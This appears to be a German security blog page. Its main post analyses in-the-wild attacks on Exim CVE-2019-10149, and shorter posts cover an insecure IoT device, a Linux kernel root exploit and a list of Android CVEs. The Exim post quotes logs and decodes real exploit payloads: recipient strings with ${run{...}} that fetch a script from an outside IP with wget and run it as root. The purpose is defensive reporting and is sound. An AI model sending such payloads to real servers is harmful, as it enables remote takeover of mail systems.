Exim – Exploit in der Wildnis unterwegs

Vor ein paar Tagen ging ja die Exim Root-Schwachstelle durch alle IT-Portale. Wenn Ihr Euch an diesen Beitrag erinnern Exim < 4.92 mit CVE-2019-10149 mögt.Darin hatte ich u.a. auf das Problem und die Lösung hingewiesen.

Was passiert, wenn man nicht reagiert

Heute morgen erreichte die Exim-Mailingliste folgende E-Mail:

hi all,

My mail system has just been hacked; it’s running Debian unstable exim 4.91-9

Could it be CVE-2019-10149? I don’t see any reports of active exploits yet.

The reasons I suspect exim involvement:

• starting today, every 5 mins getting frozen messages:

The following address(es) have yet to be delivered:

root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldm1ip\x20\x2dO\x20\x2froot\x2f\x2efabyfmnp\x20\x26\x26\x20sh\x20\x2froot\x2f\x2efabyfmnp\x20\x2dn\x22\x20\x26}}@xxx: Too many „Received“ headers – suspected mail loop

• the trojan horse scripts, that were successfully installed on my system, with root access, are all group Debian-exim

Luckily, it looks like the trojans did nothing more than repeated attempts to open up my ssh server to root logins, which I think (and hope) didn’t actually work, so I may have been lucky, and the damage isn’t widespread.

ought I to be reporting this anywhere?

Darauf hin habe ich mal die Logs des Servers analysiert, für den ich den kleinen Patch geschrieben habe und seht, was ich dort fand :

2019-06-10 04:31:04 H=(xxxxxxxxxxxxxx.xx) [89.248.171.57] F=<> rejected RCPT <${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dt\x203\x20\x2dT\x2075\x20http\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2etuked\x20\x26\x26\x20sh\x20\x2froot\x2f\x2etuked\x20\x2dn\x22\x20\x26}}@xxxxxxxxxxxxxx.xx>: Restricted characters in address
2019-06-10 04:31:04 H=(xxxxxxxxxxxxxx.xx) [89.248.171.57] F=<> rejected RCPT <${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dt\x203\x20\x2dT\x2075\x20http\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2ekqvuhtpi\x20\x26\x26\x20sh\x20\x2froot\x2f\x2ekqvuhtpi\x20\x2dn\x22\x20\x26}}@xxxxxxxxxxxxxx.xx>: Restricted characters in address
… und noch ein paar mehr davon …

Ja, sie es versucht, der Exploit ist folglich in der Wildnis unterwegs.

Exploit ist am Werk

Wer jetzt nicht seinen anfälligen Exim wie in Exim < 4.92 mit cve-2019-10149 beschrieben patched oder auf einen neueren Exim updated, der gehört bestraft und wie man oben sieht, wird er das auch.

Schauen wir uns mal an, was da passieren sollte:

${run{/bin/bash -c „wget –no-check-certificate -t 3 -T 75 http://185.162.235.211/ldmxim -O /root/.tuked && sh /root/.tuked -n“ &}

Hier wird also ein in Russland gehostedes Script per wget mit Rootrechten heruntergeladen und ausgeführt. Naja, es „sollte“ ausgeführt werden. Hat ja nicht geklappt, weil der Eximpatch das verhindert hat.

Bei dem gehackten Debianserver kam eine leicht geänderte Anweisung zum Einsatz:

${run{/bin/bash -c „wget –no-check-certificate -T 36 https://185.162.235.211/ldm1ip -O /root/.fabyfmnp && sh /root/.fabyfmnp -n“ &}}

von der selben Gruppe offensichtlich wie bei dem von mir betreuten Server, aber mit einem zufälligen Dateinamen. Ich tippe mal darauf, daß es damit Firewalls schwieriger gemacht werden soll, diese Anweisung gleich zu filtern. Als Firewallregelschreiber würde ich auf „${run“ filtern, aber ok, das ist ja nur meine Meinung :DD

-t meint übrigens retries. Da hat wohl jemand bemerkt, daß er zu viele anfällige Server gleichzeitig attackiert hat und sein Webdienst überlastet war 😀 Auch das größere Timeout mit -T 75 spricht dafür, daß das Ziel wohl schlecht zu erreichen war. Da muß man dann mal  kreativ werden 😉

Update 16:38 Uhr

So langsam kommen die Hackberichte rein. Zimbra scheint von dem EXIM CVE  betroffen zu sein:

https://forums.zimbra.org/viewtopic.php?t=65932&start=120#p290739

Nach dem ich das gelesen habe, kommt bei denen keiner auf Idee den Server durch Reinstallation zu entseuchen? Deren Crontab scheint ihnen dagegen sehr wichtig zu sein.

Update 17:00 Uhr

Die CPanel Supporter haben doch glatt für alte, gar nicht mehr maintainte Versionen ein Update rausgebracht.

Exim CVE-2019-10149: how to protect yourself

Leider ist es natürlich falsch zu behaupten, es gibt keine Gegenmaßnahmen, denn die stehen ja hier oben wirkungsvoll demonstriert zur Verfügung 🙂

Update 17:06 Uhr

Hier gibt es am Ende eine schöne Liste über die Verteilung der Exim Versionen:

Critical Exim flaw exploitable locally and remotely, patch ASAP!

Sehr aufschlussreich, hätte ich gar nicht gedacht.

IoT: Dildo mit WLAN Accesspoint , Default Root und WebCam

Ja, richtig gelesen, das IoT Desaster geht in die nächste Runde. Wie Heise auf seiner Webseite berichtet, wurde der Hersteller eines WLAN fähigen und mit WebCam ausgerüsteten Dildos bereits 2016 über die mannigfaltigen Schwachstellen seines Produkts informiert. Vor lauter Brumm-Brumm muß er den Hinweis wohl überhört haben, denn passiert ist nichts.

Den ganzen Spaß lest Ihr im Link unten.

Quelle: www.heise.de

Root-Exploit im TCP/IP Stack – CVE-2016-8655

Im Linux Kernel klafft die nächste Root-Lücke, diesmal im Netzwerkbereich, dem TCP/IP Stack.

Die Lücke können nur lokale Prozesse ausnutzen, i.d.R. braucht es daher eine weitere Sicherheitslücke z.b. im Browser oder einen angemeldeten Benutzer.  Das Ganze betrifft somit „eigentlich“ nur Server.

Updates gibt es derzeit für Fedora noch keine. Der neuste Kernel 4.8.12-200 vom 2.12. behebt das Problem  noch nicht, trotzdem sollte man den schon einspielen, denn wie man sieht, behebt er andere Securityprobleme:

* Fr Dez 02 2016 Justin M. Forbes <jforbes@fedoraproject.org> – 4.8.12-200
– Linux v4.8.12
– CVE-2016-9755 Fix Out-of-bounds write issue when defragmenting ipv6 packets (rhbz 1400904 1400905)
– CVE-2016-9756 Fix kvm: stack memory information leakage (rhbz 1400468 1400469)
– Fix kvm: out of bounds memory access via vcpu_id (rhbz 1400804 1400805)

Ubuntu stellt als erster gepatchte Kernel bereit, muß man auch mal lobend erwähnen.

Den Exploit für Ubuntu gibt es hier:

Linux Kernel 4.4.0 AF_PACKET Race Condition / Privilege Escalation

Wie man im Source lesen kann, hat sich der Autor auch schon an Fedora 25 probiert, es aber wieder auskommentiert.

Die nächste Sicherheitslücke klafft übrigens im Android Kernel, da können alle bekannten Android Versionen ab 4.4.4 von außen komplett übernommen werden. Erste Patche sind zwar schon bei den Herstellern verfügbar, aber wann die #1 Samsung, das Update bereitstellt, steht in den Sternen 🙁

Hier mal die Liste der von Google genannten Schwachstellenreports, die damit zusammen hängen, einige sind schon zwei Jahre alt :

CVE-2016-9120: Schwachstelle in Kernel ION Subsystem ermöglicht komplette
CVE-2016-8411: Schwachstellen in Qualcomm Komponenten ermöglichen komplette
CVE-2016-8410: Schwachstelle in Qualcomm Audiotreiber ermöglicht Ausspähen
CVE-2016-8408 CVE-2016-8409: Schwachstellen in NVIDIA Grafiktreiber
CVE-2016-8401 CVE-2016-8402 CVE-2016-8403 CVE-2016-8404 CVE-2016-8405
CVE-2016-8406 CVE-2016-8407: Schwachstellen in Kernelkomponenten ermöglichen
CVE-2016-8400: Schwachstelle in NVIDIA Grafikbibliothek ermöglicht Ausspähen
CVE-2016-8399: Schwachstelle im Netzwerk-Subsystem ermöglicht komplette
CVE-2016-8397: Schwachstelle in NVIDIA Grafiktreiber ermöglicht Ausspähen
CVE-2016-8396: Schwachstelle in MediaTek Grafiktreiber ermöglicht Ausspähen
CVE-2016-8395: Schwachstelle in NVIDIA Kameratreiber ermöglicht
CVE-2016-8393 CVE-2016-8394: Schwachstellen im Synaptics Touchscreen-Treiber
CVE-2016-6915 CVE-2016-6916 CVE-2016-6917: Schwachstellen im NVIDIA
CVE-2016-6791 CVE-2016-8391 CVE-2016-8392: Schwachstellen im Qualcomm
CVE-2016-6789 CVE-2016-6790: Schwachstellen in NVIDIA Grafikbibliothek
CVE-2016-6788: Schwachstelle im MediaTek I2C-Treiber ermöglicht komplette
CVE-2016-6786 CVE-2016-6787: Schwachstellen im Performance-Subsystem
CVE-2016-6778 CVE-2016-6779 CVE-2016-6780: Schwachstellen im HTC
CVE-2016-6775 CVE-2016-6776 CVE-2016-6777: Schwachstellen in NVIDIA
CVE-2016-6774: Schwachstelle in Package Manager ermöglicht Ausspähen von
CVE-2016-6773: Schwachstelle in Mediaserver ermöglicht Ausspähen von
CVE-2016-6772: Schwachstelle in Wi-Fi ermöglicht Ausführen beliebigen
CVE-2016-6771: Schwachstelle in Telephony ermöglicht Privilegieneskalation
CVE-2016-6770: Schwachstelle in Framework API ermöglicht
CVE-2016-6769: Schwachstelle in Smart Lock ermöglicht Privilegieneskalation
CVE-2016-6768: Schwachstelle in Bibliothek Framesequence ermöglicht
CVE-2016-6767: Schwachstelle in Mediaserver ermöglicht
CVE-2016-6765: Schwachstelle in Mediaserver ermöglicht
CVE-2016-6764 CVE-2016-6766: Schwachstellen in Mediaserver ermöglichen
CVE-2016-6763: Schwachstelle in Telephony ermöglicht
CVE-2016-6762: Schwachstelle in libziparchive ermöglicht Ausführung
CVE-2016-6758 CVE-2016-6759 CVE-2016-6760 CVE-2016-6761: Schwachstellen in
CVE-2016-6756 CVE-2016-6757: Schwachstellen in Qualcomm Komponeten
CVE-2016-6755: Schwachstelle in Qualcomm Kamera-Treiber ermöglicht
CVE-2016-6492 CVE-2016-6781 CVE-2016-6782 CVE-2016-6783 CVE-2016-6784
CVE-2016-6785: Schwachstellen in MediaTek-Treiber ermöglichen Ausführung
CVE-2016-5341: Schwachstelle in Qualcomm GPS-Komponente ermöglicht
CVE-2015-8967: Schwachstelle in Kernel ermöglicht Ausführung beliebigen
CVE-2015-8966: Schwachstelle in Kernel ermöglicht Ausführung beliebigen
CVE-2014-9909 CVE-2014-9910: Schwachstellen in Broadcom Wi-Fi-Treiber
CVE-2016-5195: Schwachstelle in Linux-Kernel ermöglicht Erlangen von
CVE-2016-5421: Schwachstelle in cURL ermöglicht Ausführung beliebigen
CVE-2016-5420: Schwachstelle in cURL ermöglicht Umgehen von
CVE-2016-5419: Schwachstelle in cURL ermöglicht Umgehen von
CVE-2016-4794: Schwachstelle in Linux-Kernel ermöglicht
CVE-2015-7872: Schwachstelle in Linux-Kernel erlaubt
CVE-2014-4014: Schwachstelle im Linux-Kernel ermöglicht